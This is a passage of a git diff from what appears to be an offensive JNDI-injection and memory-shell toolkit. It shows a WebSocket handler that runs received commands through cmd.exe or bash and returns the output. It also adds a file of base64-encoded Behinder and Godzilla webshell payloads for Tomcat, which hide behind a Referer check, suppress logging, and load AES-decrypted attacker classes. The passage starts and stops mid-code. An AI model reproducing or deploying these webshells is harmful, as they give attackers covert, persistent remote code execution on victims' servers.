Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", sb.toString()}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", sb.toString()}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + PrintWriter writer = context.startTextMessage(); + writer.print(stringBuilder); + writer.close(); + } catch (Exception ignored) { + } + } + + @Override + public void onClose(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onDisconnect(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onTimeout(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onStart(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onReadBinary(WebSocketContext webSocketContext, InputStream inputStream) throws IOException { + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java b/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java new file mode 100644 index 0000000..f3ea8f8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java @@ -0,0 +1,129 @@ +package com.qi4l.jndi.template.memshell.shell; + +public class MemShellPayloads { + + public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCglPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcG9uc2U7DQoJdHJ5IHsNCgkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQlpZiAoIShsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlcXVlc3QgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXF1ZXN0V3JhcHBlci5jbGFzcy5nZXRNZXRob2QoImdldFJlcXVlc3QiLG51bGwpOw0KCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSBicmVhazsNCgkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVzcG9uc2UgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZVdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIsbnVsbCk7DQoJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKHJlc3BvbnNlLG51bGwpOw0KCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCWlmIChsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkgYnJlYWs7DQoJCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShsYXN0UmVzcG9uc2UsbnVsbCk7DQoJCQkJfQ0KCQkJfQ0KCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsNCgkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiAgICAgPSAoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGxhc3RSZXF1ZXN0KS5nZXRTZXNzaW9uKCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgbGFzdFJlcXVlc3QpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCBsYXN0UmVzcG9uc2UpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOw0KCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKTsNCgkJCQlpZiAocGF5bG9hZCA9PSBudWxsIHx8IChwYXlsb2FkLmxlbmd0aCgpID09IDApKSB7DQoJCQkJCXBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoKTsNCgkJCQkJb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCByZWFsUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKGxhc3RSZXF1ZXN0LCJyZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgY295b3RlUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKHJlYWxSZXF1ZXN0LCJjb3lvdGVSZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUudG9tY2F0LnV0aWwuaHR0cC5QYXJhbWV0ZXJzICAgIHBhcmFtZXRlcnMgPSBjb3lvdGVSZXF1ZXN0LmdldFBhcmFtZXRlcnMoKTsNCgkJCQkJamF2YS51dGlsLkxpbmtlZEhhc2hNYXAgcGFyYW1NYXAgICA9IChqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCkgZ2V0RmllbGRWYWx1ZShwYXJhbWV0ZXJzLCJwYXJhbUhhc2hWYWx1ZXMiKTsNCgkJCQkJamF2YS51dGlsLkl0ZXJhdG9yIGl0ZXJhdG9yID0gcGFyYW1NYXAuZW50cnlTZXQoKS5pdGVyYXRvcigpOw0KCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7DQoJCQkJCQlqYXZhLnV0aWwuTWFwLkVudHJ5IG5leHQgICAgICAgICAgID0gaXRlcmF0b3IubmV4dCgpOw0KCQkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOw0KCQkJCQkJamF2YS51dGlsLkFycmF5TGlzdCAgICAgICAgICAgICAgICAgICAgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCluZXh0LmdldFZhbHVlKCk7DQoJCQkJCQlpZiAocGFyYW1WYWx1ZUxpc3Quc2l6ZSgpID09IDApIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCXBheWxvYWQuYXBwZW5kKHBhcmFtS2V5KS5hcHBlbmQoIj0iKS5hcHBlbmQocGFyYW1WYWx1ZUxpc3QuZ2V0KDApKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlub0xvZyhsYXN0UmVxdWVzdCk7DQoJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOw0KCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsNCgkJCQlDbGFzcyBldmlsY2xhc3MgPXVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhPYmplY3QuY2xhc3MsIGV2aWxjbGFzc19ieXRlLCBudWxsKTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgl9DQp9"; + + public static String BEHINDER_SHELL_FOR_TOMCAT = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCgkJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3BvbnNlOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKCEobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSkgew0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVxdWVzdCA9IGphdmF4LnNlcnZsZXQuU2VydmxldFJlcXVlc3RXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVxdWVzdCIsbnVsbCk7DQoJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQkJd2hpbGUgKHRydWUpIHsNCgkJCQkJCWlmIChsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UocmVzcG9uc2UsbnVsbCk7DQoJCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCWphdmEudXRpbC5IYXNoTWFwICAgICBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOw0KCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9ICgob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdEZhY2FkZSkgbGFzdFJlcXVlc3QpLmdldFNlc3Npb24oKTsNCgkJCQlwYWdlQ29udGV4dC5wdXQoInJlcXVlc3QiLCBsYXN0UmVxdWVzdCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwgfHwgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkpIHsNCgkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOw0KDQoJCQkJCW9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3QgcmVhbFJlcXVlc3QgPSAob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShsYXN0UmVxdWVzdCwicmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IGNveW90ZVJlcXVlc3QgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShyZWFsUmVxdWVzdCwiY295b3RlUmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmh0dHAuUGFyYW1ldGVycyAgICBwYXJhbWV0ZXJzID0gY295b3RlUmVxdWVzdC5nZXRQYXJhbWV0ZXJzKCk7DQoJCQkJCWphdmEudXRpbC5MaW5rZWRIYXNoTWFwIHBhcmFtTWFwICAgPSAoamF2YS51dGlsLkxpbmtlZEhhc2hNYXApIGdldEZpZWxkVmFsdWUocGFyYW1ldGVycywicGFyYW1IYXNoVmFsdWVzIik7DQoJCQkJCWphdmEudXRpbC5JdGVyYXRvciBpdGVyYXRvciA9IHBhcmFtTWFwLmVudHJ5U2V0KCkuaXRlcmF0b3IoKTsNCgkJCQkJd2hpbGUgKGl0ZXJhdG9yLmhhc05leHQoKSkgew0KCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsNCgkJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbUtleSAgICAgICA9IG5leHQuZ2V0S2V5KCkudG9TdHJpbmcoKS5yZXBsYWNlQWxsKCIgIiwgIisiKTsNCgkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgICAgICAgICAgICAgICAgICAgIHBhcmFtVmFsdWVMaXN0ID0gKGphdmEudXRpbC5BcnJheUxpc3QpbmV4dC5nZXRWYWx1ZSgpOw0KCQkJCQkJaWYgKHBhcmFtVmFsdWVMaXN0LnNpemUoKSA9PSAwKSB7DQoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSkuYXBwZW5kKCI9IikuYXBwZW5kKHBhcmFtVmFsdWVMaXN0LmdldCgwKSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJbm9Mb2cobGFzdFJlcXVlc3QpOw0KCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQlqYXZheC5jcnlwdG8uQ2lwaGVyIGMgPSBqYXZheC5jcnlwdG8uQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsNCgkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlDbGFzcyAgZXZpbGNsYXNzICAgICAgPSAoQ2xhc3MpIG1ldGhvZC5pbnZva2UoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSxuZXcgT2JqZWN0W117ZXZpbGNsYXNzX2J5dGUsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGV2aWxjbGFzc19ieXRlLmxlbmd0aCl9KTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KCX0="; + + public static String BEHINDER_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7DQoJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQlwYWdlQ29udGV4dC5wdXQoInNlc3Npb24iLCBzZXNzaW9uKTsNCgkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCQkNCgkJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgCUNsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksbmV3IE9iamVjdFtde2V2aWxjbGFzc19ieXRlLCAJSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOw0KCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KfQ=="; + + public static String BEHINDER_SHELL_OBSCURE = "ew0KCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7DQoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7DQoJCQl0cnkgew0KCQkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vUUk0TC5jbi8iKSkgew0KCQkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgICAgIHBhZ2VDb250ZXh0ID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7DQoJCQkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgcmVxdWVzdCk7DQoJCQkJCQlwYWdlQ29udGV4dC5wdXQoInJlc3BvbnNlIiwgcmVzcG9uc2UpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJCQlqYXZhLmxhbmcuU3RyaW5nQnVpbGRlciBwYXlsb2FkID0gbmV3IGphdmEubGFuZy5TdHJpbmdCdWlsZGVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSk7DQoNCgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7DQoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQkJCXN1bi5taXNjLlVuc2FmZSB1bnNhZmUgICAgICAgICA9IGdldFVuc2FmZSgpOw0KCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7DQoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ=="; + + public static String GODZILLA_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJU3RyaW5nIHBhc3MgPSAic3UxOCI7DQoJCQkJU3RyaW5nIG1kNSA9IG1kNShwYXNzICsgeGMpOw0KCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpKTsNCgkJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7DQoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCkgew0KCQkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kICAgICAgICAgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJCWRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7DQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsNCgkJCQkJZi5lcXVhbHMoYXJyT3V0KTsNCgkJCQkJZi5lcXVhbHMoZGF0YSk7DQoJCQkJCWYuZXF1YWxzKHJlcXVlc3QpOw0KCQkJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7DQoJCQkJCWYudG9TdHJpbmcoKTsNCgkJCQkJcmVzcG9uc2UuZ2V0V3JpdGVyKCkud3JpdGUoYmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0Z